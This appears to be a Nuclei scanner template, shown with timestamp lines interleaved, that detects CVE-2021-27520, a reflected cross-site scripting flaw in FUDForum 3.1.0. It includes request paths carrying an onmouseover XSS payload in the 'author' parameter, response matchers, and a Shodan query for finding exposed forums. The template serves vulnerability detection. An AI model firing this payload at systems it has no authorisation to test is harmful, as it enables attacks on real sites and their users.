2023-03-05 13:42:10 +00:00
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id: CVE-2021-27520
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info:
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name: FUDForum 3.1.0 - Cross Site Scripting
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author: r3Y3r53
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severity: medium
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description: |
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A cross-site scripting (XSS) issue in FUDForum 3.1.0 allows remote attackers to inject JavaScript via index.php in the "author" parameter.
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reference:
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- https://www.exploit-db.com/exploits/49943
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- https://nvd.nist.gov/vuln/detail/CVE-2021-27520
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2023-03-05 14:19:20 +00:00
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- https://github.com/fudforum/FUDforum/issues/2
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- http://packetstormsecurity.com/files/162942/FUDForum-3.1.0-Cross-Site-Scripting.html
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classification:
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cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
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cvss-score: 6.1
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cve-id: CVE-2021-27520
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cwe-id: CWE-79
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2023-03-05 13:42:10 +00:00
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metadata:
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shodan-query: html:"FUDforum"
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2023-03-05 14:19:20 +00:00
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verified: "true"
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2023-03-06 13:37:50 +00:00
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tags: packetstorm,cve,cve2021,xss,fuddorum,edb
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2023-03-05 13:42:10 +00:00
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requests:
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- method: GET
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path:
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- '{{BaseURL}}/index.php?SQ=0&t=search&srch={{randstr}}&btn_submit=Search&field=all&forum_limiter=&attach=0&search_logic=AND&sort_order=REL&author=x"+onmouseover%3Dalert%28document.domain%29+x%3D'
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- '{{BaseURL}}/forum/index.php?SQ=0&t=search&srch={{randstr}}&btn_submit=Search&field=all&forum_limiter=&attach=0&search_logic=AND&sort_order=REL&author=x"+onmouseover%3Dalert%28document.domain%29+x%3D%22'
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stop-at-first-match: true
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matchers-condition: and
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matchers:
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- type: word
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part: body
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words:
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- 'onmouseover=alert(document.domain) x='
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- 'FUDforum'
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condition: and
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- type: word
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part: header
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words:
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- 'text/html'
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- type: status
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status:
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- 200
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